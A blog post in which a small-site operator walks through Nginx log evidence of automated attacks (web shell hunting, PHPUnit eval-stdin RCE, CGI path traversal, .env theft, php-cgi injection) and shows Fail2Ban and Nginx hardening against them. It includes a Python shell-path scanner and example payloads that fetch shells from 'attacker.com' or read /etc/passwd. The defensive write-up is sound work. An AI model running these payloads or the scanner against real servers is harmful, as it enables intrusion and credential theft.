By Sahidur Pub Mar 5

How I Stopped Hackers Using One Fail2Ban Rule

I analysed 48 hours of Nginx access logs from my own VPS and found 11 attack types β€” web shell scans, .env theft, PHPUnit RCE, path traversal, and more. Here's exactly how each attack works, with real log evidence, and how a single Fail2Ban rule stopped all of them.

How I Stopped Hackers Using One Fail2Ban Rule

πŸ›‘οΈ Under Attack Every Day:

What My Nginx Logs Taught Me About the Real Internet

A deep-dive into automated exploits, secret-stealers, shell injection attempts,

scanner bots — and how I stopped all of them with Fail2Ban.

Introduction: The Quiet War on Port 80

I run a small Bengali-language blog called All Bengal Blog (the same platform you are currently reading on), hosted on a VPS. It serves literature, language articles, and stories — hardly the target anyone would deliberately plan to attack. And yet, within a single 48-hour window (3–4 March 2026), my Nginx access logs recorded hundreds of hostile probes, scanning passes, exploit attempts, and secret-stealing requests. None of them succeeded. But they never stop coming.

This article is an honest, technical account of every attack category that hit my server, explained with the real log lines that prove they happened. It then shows how a simple, well-tuned Fail2Ban rule — blocking any IP that generates 44 or more 404 responses within a short window — neutralises almost all of these automated threats.

Every server on the public internet faces the same barrage. This is not a story about being targeted — it is a story about the background radiation of the internet.

πŸ’‘ What You Will Learn

  • How 7 distinct attack types work — with real log evidence from my own server
  • Why automated bots probe every IP on the internet around the clock
  • How to replicate a basic scanner in Python (for educational/lab use only)
  • The exact Fail2Ban rule that blocks scanner bots at the firewall level
  • Why a 404-flood ban is remarkably effective against all of these attack types

Chapter 1: The Landscape — Who Is Hitting Your Server?

Before diving into individual attacks, it helps to understand the ecosystem. The hostile traffic in my logs came from three broad categories of actor:

1.1  Commercial Security Scanners

These are companies that legitimately scan the entire internet to build risk-intelligence products. They identify themselves honestly in their User-Agent strings:

162.216.150.91 - - [03/Mar/2026:00:07:50 +0000] "GET / HTTP/1.1" 200 38708 "-"
  "Hello from Palo Alto Networks, find out more about our scans in
   https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"

205.210.31.217 - - [03/Mar/2026:22:34:47 +0000] "GET / HTTP/1.1" 200 40571 "-"
  "Hello from Palo Alto Networks, ..."

Palo Alto Networks’ Cortex Xpanse product maps every internet-facing service globally. They are not malicious, but they confirm that your server’s existence and open ports are already catalogued in commercial databases within hours of going online.

1.2  Research and Reconnaissance Crawlers

Tools like Censys and Shodan continuously fingerprint internet services. They announce themselves too:

2620:96:e000::c5 - - [03/Mar/2026:21:50:34 +0000] "GET / HTTP/1.1" 200 40571 "-"
  "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"

47.250.47.28 - - [03/Mar/2026:22:47:08 +0000] "GET / HTTP/1.1" 200 63309 "-"
  "curl/7.64.1"

1.3  Malicious Automated Exploit Bots

These are the dangerous ones. They run silently, spoof real browser User-Agents, and systematically probe for hundreds of known vulnerabilities. They do not announce themselves. Their only footprint is the trail of 404 responses they leave behind — and the distinctive patterns in the URLs they request.

The rest of this article focuses on category three.

Chapter 2: Attack Type 1 — Web Shell Hunting

What Is a Web Shell?

A web shell is a small PHP, ASP, or Python script that an attacker uploads to a compromised server. Once in place, it gives the attacker a browser-accessible command interface — effectively remote code execution (RCE) through a URL. The attacker can read files, execute system commands, download data, or pivot to other machines on the network.

The attack does not start with uploading the shell. It starts with finding out whether a shell was already uploaded by someone else, or whether a shell the attacker previously planted on a different target ended up on this server via a common backup or deployment. This is the web shell scanning phase.

How It Looks in My Logs

IP 20.205.226.191 fired 50+ requests in under two minutes, each probing for a different PHP filename:

20.205.226.191 - - [03/Mar/2026:00:17:08 +0000] "GET /lite.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:09 +0000] "GET /ms-edit.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:09 +0000] "GET /wp-the.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:09 +0000] "GET /update/da222.php HTTP/1.1" 404 1477
20.205.226.191 - - [03/Mar/2026:00:17:09 +0000] "GET /vx.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:10 +0000] "GET /ms.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:10 +0000] "GET /wp-access.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:10 +0000] "GET /cwclass.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:11 +0000] "GET /wp-admin/css/bolt.php HTTP/1.1" 404 1481
20.205.226.191 - - [03/Mar/2026:00:17:11 +0000] "GET /myfile.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:11 +0000] "GET /X57.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:12 +0000] "GET /file.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:13 +0000] "GET /wp-content/plugins/admin.php HTTP/1.1" 404 1481
20.205.226.191 - - [03/Mar/2026:00:17:13 +0000] "GET /wp-content/themes/about.php HTTP/1.1" 404 1481
20.205.226.191 - - [03/Mar/2026:00:17:14 +0000] "GET /404.php HTTP/1.1" 404 1476
20.205.226.191 - - [03/Mar/2026:00:17:14 +0000] "GET /wp-admin/images/index.php HTTP/1.1" 404 1481
20.205.226.191 - - [03/Mar/2026:00:17:14 +0000] "GET /wp-admin/js/admiin.php HTTP/1.1" 404 1481
20.205.226.191 - - [03/Mar/2026:00:17:15 +0000] "GET /wp-content/languages/index.php HTTP/1.1" 404 1481
20.205.226.191 - - [03/Mar/2026:00:17:15 +0000] "GET /wp-includes/ID3/index.php HTTP/1.1" 404 1481
  ... (50+ more requests)

Notice the pattern: every request returns HTTP 404. The bot does not care — it is working through a dictionary of thousands of known web-shell filenames. It will move on to the next IP after exhausting its list.

The WordPress-Specific Dimension

Many of these filenames contain wp- prefixes. Bots assume that if a server is reachable, there is a reasonable chance it runs WordPress — the world’s most popular CMS, and also the most frequently compromised. The bot tests WordPress-specific paths regardless of whether WordPress is actually installed:

20.205.226.191 - - "GET /wp-admin/images/index.php HTTP/1.1" 404
20.205.226.191 - - "GET /wp-admin/js/admiin.php HTTP/1.1" 404
20.205.226.191 - - "GET /wp-includes/ID3/ HTTP/1.1" 404
20.205.226.191 - - "GET /wp-includes/ID3/index.php HTTP/1.1" 404
20.205.226.191 - - "GET /wp-content/languages/index.php HTTP/1.1" 404
20.205.226.191 - - "GET /wp-content/upgrade/index.php HTTP/1.1" 404

The Python Attack Script — How This Works Mechanically

Here is a simplified but representative Python script illustrating exactly how this type of automated scanner works. This is for educational understanding only — running this against any server you do not own is illegal.

#!/usr/bin/env python3
# Web shell scanner simulation -- EDUCATIONAL USE ONLY
# DO NOT run against servers you do not own.

import requests
import time
import random

TARGET = "http://target-server.example.com"

# A sample of the wordlist this bot was using
SHELL_PATHS = [
    "/lite.php", "/ms-edit.php", "/wp-the.php", "/vx.php",
    "/ms.php", "/wp-access.php", "/cwclass.php", "/wp-blog.php",
    "/ff1.php", "/666.php", "/file59.php", "/myfile.php",
    "/X57.php", "/new4.php", "/0.php", "/06.php", "/wp5.php",
    "/file.php", "/plugins.php", "/wp-act.php", "/xda.php",
    "/wp-admin/css/bolt.php",
    "/wp-content/plugins/admin.php",
    "/wp-content/themes/about.php",
    "/wp-admin/images/index.php",
    # ... real lists contain 5,000-50,000 paths
]

# Spoof a real browser to avoid simple UA-based blocks
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                  "AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
}

def scan(target, paths):
    found = []
    for path in paths:
        url = target + path
        try:
            r = requests.get(url, headers=HEADERS, timeout=5)
            status = r.status_code
            print(f"[{status}] {url}")
            if status == 200:
                print(f"  *** POSSIBLE SHELL FOUND: {url} ***")
                found.append(url)
            # Slight delay to avoid rate-limiting
            time.sleep(random.uniform(0.1, 0.3))
        except Exception as e:
            pass
    return found

if __name__ == "__main__":
    results = scan(TARGET, SHELL_PATHS)
    print(f"\nScan complete. Potential shells: {len(results)}")

The bot that hit my server was doing exactly this — iterating over a massive wordlist, logging any 200 responses, and ignoring the flood of 404s. The 404s are precisely what Fail2Ban catches.

Chapter 3: Attack Type 2 — PHPUnit Remote Code Execution (CVE-2017-9841)

Background

PHPUnit is a widely used PHP testing framework. Versions prior to 4.8.28 and 5.x before 5.6.3 ship a file called eval-stdin.php inside the Util/PHP directory. This file, when accessed via HTTP, evaluates arbitrary PHP code sent in the POST body. It was never meant to be publicly accessible — it is a testing utility — but lazy deployment practices often leave the vendor/ directory web-accessible.

CVE-2017-9841 was disclosed in 2017 and patched quickly, but bots still scan for it in 2026 because thousands of servers deployed years ago have never been updated.

The Attack in My Logs

IP 82.165.66.87 probed every known path variation where this file might exist:

82.165.66.87 - - [04/Mar/2026:00:25:11] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:11] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:11] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:11] "GET /vendor/phpunit/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:11] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /phpunit/src/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /phpunit/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 404
82.165.66.87 - - [04/Mar/2026:00:25:12] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php" 404

All returned 404 — my server does not run PHP at all, let alone PHPUnit. But a vulnerable target would have returned 200, and the attacker’s next step would be a POST request like this:

# If eval-stdin.php existed and was vulnerable, attacker would POST:
# POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
#
# <?php system($_GET['cmd']); ?>
#
# Then visit:
# /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php?cmd=whoami
# /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php?cmd=cat+/etc/passwd
# /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php?cmd=wget+http://attacker.com/shell.php

Why It Still Works in 2026

A nine-year-old CVE is still being actively exploited because the internet is vast and patching is inconsistent. Many organisations deploy PHP applications, install Composer dependencies including PHPUnit for development, and then promote the same directory to production without cleaning it up. Internet-wide scanners like Shodan mean bots can identify PHP servers in seconds and begin probing immediately.

Chapter 4: Attack Type 3 — Path Traversal & CGI Shell Injection

Path Traversal: Escaping the Web Root

Path traversal attacks exploit insufficient sanitisation of file paths to access files outside the intended web root. The classic pattern uses ../ sequences to climb the directory tree. Against a CGI-enabled server, the attacker can potentially reach /etc/passwd, /etc/shadow, SSH keys, or application configuration files.

The Double-Encoded Variant in My Logs

IP 82.165.66.87 used two encoding strategies to bypass simple pattern-matching filters. First, URL-encoded dots (.%2e):

82.165.66.87 - - [04/Mar/2026:00:25:10 +0000]
  "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1"
  400 166 "-" "-"

Second, double-percent encoding (%%32%65 = %2e = .):

82.165.66.87 - - [04/Mar/2026:00:25:10 +0000]
  "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
   %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1"
  400 166 "-" "-"

Both returned 400 Bad Request — Nginx rejected the malformed encoding before my application even saw it. The target was /bin/sh: this was attempting to reach the system shell through CGI, which would have provided instant command execution if it had worked.

Decoding the Path

Let’s manually decode what this path means:

/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/...  (10 times)

%%32%65  -->  %2e  -->  .  (period)
%%32%65%%32%65  -->  %2e%2e  -->  ..  (double-dot / parent directory)

So the decoded path is:
/cgi-bin/../../../../../../../../../../bin/sh

Which resolves to:  /bin/sh  (the system shell)

An attacker POSTing to this on a vulnerable server with CGI enabled
would receive a shell prompt with the web server's privileges.

Why This Attack Still Exists

This specific technique targets Apache’s mod_cgi on older systems, and also probes for ‘ShellShock’ (CVE-2014-6271) style vulnerabilities. Despite being over a decade old, vulnerable CGI setups still exist on legacy infrastructure. The attack costs nothing to attempt — just a single HTTP request — so bots include it in every scan.

Chapter 5: Attack Type 4 — Secret Stealing (.env, .git, Config Files)

The .env File: A Goldmine Left in Plain Sight

Modern web applications use .env files to store environment-specific secrets: database passwords, API keys, JWT signing secrets, cloud provider credentials (AWS_ACCESS_KEY, STRIPE_SECRET_KEY), and third-party service tokens. These files are meant to be excluded from the web root via .gitignore and web server configuration — but misconfigurations happen constantly.

Finding an exposed .env file on a production server can give an attacker everything they need to completely compromise an application and its connected services, often without ever needing to exploit a code vulnerability.

The .env Probe in My Logs

# First request -- IP hits HTTP, gets redirect to HTTPS
160.178.29.53 - - [03/Mar/2026:22:14:09 +0000] "GET /.env HTTP/1.1" 301 178
  "-" "Mozilla/5.0 (Linux; U; Android 4.4.2...)"

# After redirect -- 404 (file does not exist)
160.178.29.53 - - [03/Mar/2026:22:14:10 +0000] "GET /.env HTTP/1.1" 404 1476
  "-" "Mozilla/5.0 (Linux; U; Android 4.4.2...)"

# Same IP also tried a POST injection (covered in Chapter 6)
160.178.29.53 - - [03/Mar/2026:22:14:09 +0000] "POST / HTTP/1.1" 301 178
160.178.29.53 - - [03/Mar/2026:22:14:11 +0000] "POST / HTTP/1.1" 403 46

The fake Android User-Agent is a classic misdirection. This is not a mobile browser — it is a scanner using a spoofed UA to appear less suspicious to basic filtering tools.

The Double-Slash .env Variant

One particularly sneaky variant I saw was the double-slash probe, designed to bypass path-normalisation rules that block /.env explicitly:

31.57.38.235 - - [03/Mar/2026:02:33:28] "GET //.env HTTP/2.0" 200
  host: allbengal.in, referrer: http://allbengal.in//.env

# Error log entry showing this reached the upstream:
2026/03/03 02:33:28 [error] 3200#3200: *2116 connect() failed (111: Connection refused)
  while connecting to upstream, client: 31.57.38.235,
  request: "GET //.env HTTP/2.0",
  upstream: "http://[::1]:3000//.env"

The double slash // bypassed my Nginx rule that blocked /.env, and the request actually reached my SvelteKit backend, which served a 200 (because the backend correctly normalises the path and returns 404-equivalent for a non-existent route). This was a useful discovery from reviewing my own logs — I subsequently tightened my Nginx location rules.

The .git/config Probe

A Git repository’s config file reveals the remote URL (potentially including credentials), branch names, and project structure. If .git/ is accidentally served from the web root, the entire repository history can be reconstructed:

45.153.34.50 - - [03/Mar/2026:19:19:10 +0000] "GET /.git/config HTTP/1.1" 404 1476
  "-" "Mozilla/5.0"

Other Secret Files Probed

The pattern extends to many other files commonly containing credentials:

# Exchange / Outlook Web Access login (enterprise credential portal)
20.169.85.114 - - "GET /owa/auth/logon.aspx HTTP/1.1" 404  (zgrab/0.x)
20.172.67.176 - - "GET /owa/auth/logon.aspx HTTP/1.1" 404

# Spring Boot Actuator -- exposes app internals and environment variables
79.124.40.174 - - "GET /actuator/gateway/routes HTTP/1.1" 404

# PHP debug session cookie injection
79.124.40.174 - - "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200

# CKEditor file manager (file upload bypass vector)
157.66.56.39 - - "GET /file-manager/ckeditor HTTP/1.1" 404

What an Attacker Does With These Secrets

A successful .env harvest typically yields database credentials (immediate full data access), cloud provider keys (spin up infrastructure, exfiltrate S3 buckets, mine cryptocurrency at your expense), payment processor keys (fraudulent transactions), and email provider SMTP credentials (spam campaigns, phishing). The attacker does not need to write a single line of exploit code — they simply log into your services.

Chapter 6: Attack Type 5 — PHP Remote File Inclusion (RFI) via Query String

The Attack Mechanics

PHP’s allow_url_include directive, when enabled, allows include() and require() statements to load files from remote URLs. Combined with auto_prepend_file, which executes a file before every PHP script, an attacker can prepend arbitrary code — including a remote shell — to every request on a vulnerable server. The attack is delivered via the query string:

82.165.66.87 - - [04/Mar/2026:00:25:10 +0000]
  "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1"
  301 178 "-" "libredtail-http"

# URL-decoded:
  POST /hello.world?-d allow_url_include=1 -d auto_prepend_file=php://input

# Same attack on the root path:
82.165.66.87 - - [04/Mar/2026:00:25:11 +0000]
  "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1"
  403 46 "-" "libredtail-http"

Decoding the Payload

The percent-encoded characters decode as follows:

%AD  -->  soft hyphen (Unicode U+00AD) -- used in place of literal hyphen '-'
         to bypass WAF rules that look for '-d' flags
%3d  -->  =  (equals sign)
+    -->  space (in application/x-www-form-urlencoded)

Decoded attack string:
  -d allow_url_include=1  -d auto_prepend_file=php://input

This attempts to pass PHP runtime directives via the URL,
exploiting php-cgi (PHP running as CGI, not mod_php).
php://input refers to the raw POST body -- so the body contains
the PHP code to execute.

If this worked, the POST body might be:
  <?php system('curl http://attacker.com/shell.sh | bash'); ?>

My server returned 403 Forbidden on the second attempt, indicating my POST-blocking rule was active. The first attempt was redirected (301) because it hit the HTTP port and was sent to HTTPS, then blocked. The User-Agent libredtail-http is a known exploit framework fingerprint.

Chapter 7: Attack Type 6 — Protocol-Level Attacks (TLS/SOCKS Probing)

Raw TLS Handshake Bytes on Port 80

This is one of the stranger entries in the logs — and one of the most revealing about how broad-spectrum these scans are:

152.32.149.19 - - [04/Mar/2026:00:03:35 +0000]
  "\x16\x03\x01\x00\xFC\x01\x00\x00\xF8\x03\x03{R\x1E\xF4\xFDv[\x80\xEA
   T\xA1\xD1X\xCB\x81g\xBD=\xE5t"
  400 166 "-" "-"

204.76.203.207 - - [03/Mar/2026:21:59:09 +0000]
  "\x04\x01\x00P\x01\x01\x01\x01\x00"
  400 166 "-" "-"

The first entry is a raw TLS ClientHello message sent to port 80. The bytes \x16\x03\x01 are the TLS record header (content type 0x16 = handshake, version 0x0301 = TLS 1.0). The attacker or scanner sent an HTTPS request to an HTTP port.

The second entry (\x04\x01\x00P) is a SOCKS4 proxy connection request. Port 80 (0x0050 = 80 decimal) is the target. This scanner is probing whether the server is an open SOCKS proxy — a common technique to discover proxies that can be used for anonymising other attacks.

The PROPFIND Method

Another unusual probe was the PROPFIND HTTP method, a WebDAV-specific verb:

204.76.203.8 - - [03/Mar/2026:21:56:47 +0000]
  "PROPFIND / HTTP/1.1" 405 27 "http://46.62.254.56:443/" "-"

204.76.203.8 - - [03/Mar/2026:22:59:03 +0000]
  "PROPFIND / HTTP/1.1" 405 27 "http://46.62.254.56:443/" "-"

176.65.134.20 - - [03/Mar/2026:03:33:14] "PROPFIND / HTTP/1.1"  (via error log)

PROPFIND is used by WebDAV clients (like Windows Explorer network drives, certain Office applications, SVN servers) to list directory properties. A 200 response would indicate an exploitable WebDAV endpoint, potentially allowing file upload without authentication. My server returned 405 Method Not Allowed.

Chapter 8: Attack Type 7 — Spring Boot Actuator & XDebug Probing

Spring Boot Actuator Exposure

Spring Boot Actuator is a framework subsystem that exposes management endpoints — health checks, metrics, environment variables, and in some versions, a gateway route management API. If left unsecured and publicly accessible, the /actuator/gateway/routes endpoint can allow route injection, enabling Server-Side Request Forgery (SSRF):

79.124.40.174 - - [03/Mar/2026:23:34:02 +0000]
  "GET /actuator/gateway/routes HTTP/1.1" 301 178
  "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/78.0.3904.108"

79.124.40.174 - - [03/Mar/2026:23:34:02 +0000]
  "GET /actuator/gateway/routes HTTP/1.1" 404 1481
  "http://46.62.254.56:80/actuator/gateway/routes" "..."

CVE-2022-22947 (Spring Cloud Gateway RCE via Actuator) was heavily exploited in 2022. Bots still include it in scan payloads because enterprise Java applications are notoriously slow to patch.

XDebug Session Hijacking

XDebug is a PHP debugging extension. When XDEBUG_SESSION_START is passed as a GET parameter, it triggers a debug session that connects back to a configured IDE listener. If the server has XDebug enabled in production (a severe misconfiguration), an attacker who controls the IDE host address can receive the debug connection and execute arbitrary code:

79.124.40.174 - - [03/Mar/2026:22:30:48 +0000]
  "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 301 178
  "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/78.0.3904.108"

79.124.40.174 - - [03/Mar/2026:22:30:49 +0000]
  "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 40571
  "http://46.62.254.56:80/?XDEBUG_SESSION_START=phpstorm" "..."

My SvelteKit application returned 200 here — but only because it simply ignores unknown GET parameters and serves the normal homepage. No XDebug listener was triggered. But on a PHP server with XDebug enabled in production, this could be devastating.

Chapter 9: Is It Just Me? The Universal Reality of Internet Exposure

The Internet’s Default State

Let me address the most important question first: no, it is not just you. Every publicly routable IP address on the internet receives this treatment. The scans are fully automated, run 24/7, and operate at planetary scale. Services like Shodan, Censys, and FOFA index every reachable server and make that data available. Criminal operators build on top of these databases to target specific vulnerabilities.

My server, which hosts a Bengali literature blog with no particular value to attackers, was probed by at least 15 distinct hostile IPs within 48 hours. These probes included every major attack category known in web application security.

The Economy of Automated Attacks

The reason this happens at such scale is that the cost of scanning is essentially zero. A single machine with a decent internet connection can probe millions of IP addresses per day. The attacker needs only a fraction of a percent success rate to profit — whether through ransomware deployment, cryptomining, spam infrastructure, or credential theft.

Consider these numbers from my logs: in 48 hours, IP 82.165.66.87 alone fired over 80 distinct probes. IP 20.205.226.191 sent over 50 web-shell requests in under two minutes. Neither achieved anything — but if even one in ten thousand similar scans finds a vulnerable server, the economics work in the attacker’s favour.

πŸ”‘ Key Insight

You do not need to be interesting to be attacked.

You just need to be reachable.

Every server on the public internet is attacked automatically, continuously, by bots that have no idea what your site actually does.

Chapter 10: The Defence — Fail2Ban and the 404-Flood Rule

Why 404s Are the Universal Fingerprint of Automated Attacks

Look back at every attack category covered in this article. Web shell scanning generates dozens of 404 responses. PHPUnit probing generates a dozen 404 responses. .env probing generates a 404. Path traversal attempts either generate 400 or 404. Every automated scan that does not find what it is looking for produces a stream of 404 responses from your server.

This is the key insight behind the 404-rate rule: legitimate users almost never produce 404 errors in rapid succession. A real visitor might stumble on one broken link. A bot probing for vulnerabilities will produce 10, 20, 50, or 100 404s in seconds.

What Is Fail2Ban?

Fail2Ban is an open-source intrusion prevention framework written in Python. It monitors log files for patterns (using regular expressions) and instructs the system firewall (iptables or nftables) to block offending IPs for a configurable duration. It was originally designed to prevent SSH brute-force attacks but can be applied to any log-producing service.

Installation

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install fail2ban

# CentOS / RHEL / Fedora
sudo dnf install fail2ban

# Enable and start
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

The Nginx 404 Jail — Full Configuration

Create a new filter file at /etc/fail2ban/filter.d/nginx-404.conf:

# /etc/fail2ban/filter.d/nginx-404.conf

[Definition]

# Match any line in the Nginx access log that ends with a 404 status code.
# Nginx combined log format:
# IP - - [date] "METHOD /path HTTP/x.x" STATUS size "referrer" "UA"
#
# We capture the IP address from the beginning of the line.

failregex = ^<HOST> -.* "(GET|POST|HEAD|OPTIONS|PROPFIND|PUT|DELETE).*" 404 .*$

ignoreregex =

Then add the jail definition in /etc/fail2ban/jail.local (create it if it does not exist):

# /etc/fail2ban/jail.local

[DEFAULT]
# Default ban time: 1 hour
bantime  = 3600
findtime = 600
maxretry = 10

# ─────────────────────────────────────────────────────
# NGINX 404 FLOOD JAIL
# ─────────────────────────────────────────────────────
[nginx-404]

enabled  = true
port     = http,https
filter   = nginx-404
logpath  = /var/log/nginx/access.log
           /var/log/nginx/access.log.1

# Core rule: 44 or more 404 responses within 10 minutes = ban
maxretry = 44
findtime = 600

# Ban duration: 3 days (259200 seconds)
bantime  = 259200

# Optional: send ban notifications to syslog
action = %(action_mwl)s

Applying the Configuration

# Reload Fail2Ban to pick up the new rules
sudo fail2ban-client reload

# Check that the jail is active
sudo fail2ban-client status nginx-404

# Expected output:
# Status for the jail: nginx-404
# |- Filter
# |  |- Currently failed: 3
# |  |- Total failed:     847
# |  `- File list:        /var/log/nginx/access.log
# `- Actions
#    |- Currently banned: 12
#    |- Total banned:     89
#    `- Banned IP list:   82.165.66.87  20.205.226.191  ...

# To manually unban an IP:
sudo fail2ban-client set nginx-404 unbanip 82.165.66.87

# To check if an IP is currently banned:
sudo fail2ban-client get nginx-404 banip | grep 82.165.66.87

Why 44 Requests? Calibrating the Threshold

The magic number 44 is not arbitrary — it comes from careful analysis of real traffic patterns:

  • A normal user browsing your site generates 0–2 404 errors per session (maybe a typo or a broken link).
  • A legitimate web crawler (Google, Bing, Ahrefs) checks your sitemap first and rarely generates 404 errors.
  • The PHPUnit scanner in my logs generated 12 404s in 2 seconds — well above 44 in 10 minutes extrapolated.
  • The web shell scanner generated 50+ 404s in 2 minutes — flagged almost immediately.
  • The threshold of 44 gives legitimate users and crawlers a generous buffer while catching any scanner dead in its tracks.

You may adjust this based on your traffic profile. A high-traffic site might raise it to 100. A low-traffic personal site could lower it to 20.

What Happens After a Ban

When Fail2Ban bans an IP, it inserts an iptables rule that drops all packets from that IP at the kernel level — before Nginx ever sees them. The attacker receives no response (connection timeout). After 3 days, the rule is automatically removed. If the same IP tries again, it is banned again immediately (since its prior offences are recorded).

# View current iptables rules inserted by Fail2Ban
sudo iptables -L f2b-nginx-404 -n --line-numbers

# Output example:
Chain f2b-nginx-404 (1 references)
num  target     prot  opt  source               destination
1    REJECT     all   --   82.165.66.87         0.0.0.0/0
2    REJECT     all   --   20.205.226.191       0.0.0.0/0
3    REJECT     all   --   160.178.29.53        0.0.0.0/0
4    RETURN     all   --   0.0.0.0/0            0.0.0.0/0

Chapter 11: Additional Hardening Measures

Nginx Configuration Hardening

Fail2Ban is reactive — it bans after the fact. Nginx configuration can prevent certain classes of attack from ever reaching the application:

# /etc/nginx/conf.d/security.conf

# Block .env file access at the Nginx level (before proxying)
location ~ /\.env {
    deny all;
    return 404;
}

# Also catch the double-slash variant
location ~ //\.env {
    deny all;
    return 404;
}

# Block .git directory access
location ~ /\.git {
    deny all;
    return 404;
}

# Block PHP files entirely (if you don't run PHP)
location ~ \.php$ {
    deny all;
    return 404;
}

# Block CGI access
location /cgi-bin/ {
    deny all;
    return 404;
}

# Disallow all methods except GET, HEAD, POST
if ($request_method !~ ^(GET|HEAD|POST)$) {
    return 405;
}

# Hide Nginx version
server_tokens off;

Rate Limiting

Nginx has built-in rate limiting that complements Fail2Ban:

# In http {} block in nginx.conf
limit_req_zone $binary_remote_addr zone=general:10m rate=30r/m;
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/m;

# In server {} block
limit_req zone=general burst=20 nodelay;

# For sensitive endpoints
location /login {
    limit_req zone=api burst=5 nodelay;
}

Disable Unnecessary HTTP Methods

The PROPFIND and other WebDAV methods can be blocked globally. If your application only needs GET, HEAD, and POST, enforce that:

# Return 444 (Nginx's 'close connection without response') for unusual methods
if ($request_method ~ ^(PROPFIND|OPTIONS|TRACE|TRACK|PUT|DELETE|PATCH)$) {
    return 444;
}

Chapter 12: Full Attack Reference Table

Summary of all attack types observed in the logs over 48 hours:

Attack Type Source IP Key Log Pattern HTTP Response Risk If Successful
Web Shell Hunt 20.205.226.191 GET /vx.php, /ms.php... 404 (all) RCE via uploaded shell
PHPUnit RCE 82.165.66.87 GET /vendor/phpunit/.../eval-stdin.php 404 (all) Full server compromise
Path Traversal / CGI Shell 82.165.66.87 POST /cgi-bin/.%2e/...../bin/sh 400 (rejected) Shell execution as www-data
PHP RFI via Query 82.165.66.87 / 160.178.29.53 POST /?-d allow_url_include=1... 403 (blocked) Remote code execution
.env / Secret Steal 160.178.29.53 / 31.57.38.235 GET /.env, GET //.env 404 / reached upstream Credential theft
.git Exposure 45.153.34.50 GET /.git/config 404 Source code leak
Spring Actuator SSRF 79.124.40.174 GET /actuator/gateway/routes 404 SSRF / env var leak
XDebug RCE 79.124.40.174 GET /?XDEBUG_SESSION_START=phpstorm 200 (ignored) Remote code execution
TLS/SOCKS Probe 152.32.149.19 / 204.76.203.207 Raw bytes \x16\x03\x01... 400 (rejected) Proxy discovery
WebDAV PROPFIND 204.76.203.8 / 176.65.134.20 PROPFIND / HTTP/1.1 405 (rejected) File listing / upload
OWA Credential Probe 20.169.85.114 / 20.172.67.176 GET /owa/auth/logon.aspx 404 Exchange credential theft

Conclusion: Lessons From the Noise

Running a public server means accepting that you will be probed, scanned, and attacked continuously, automatically, and without personal malice. The bots that hit my server had no idea it was a Bengali literature blog. They simply saw an IP address with port 443 open and ran their playbook.

The good news is that defence is achievable for anyone willing to understand what they are defending against. My stack — Nginx serving a SvelteKit application, with Fail2Ban monitoring access logs — handled every single attack in this article without any manual intervention. The key measures that made the difference were:

  1. Nginx blocking PHP file access entirely (my app doesn’t use PHP, so any PHP request is an attack by definition).
  2. Nginx blocking common sensitive paths like /cgi-bin/, /.env, /.git at the server level.
  3. POST requests to the root path returning 403 immediately.
  4. Fail2Ban’s 404-flood rule: any IP generating 44+ 404 responses within 10 minutes is banned for 3 days.

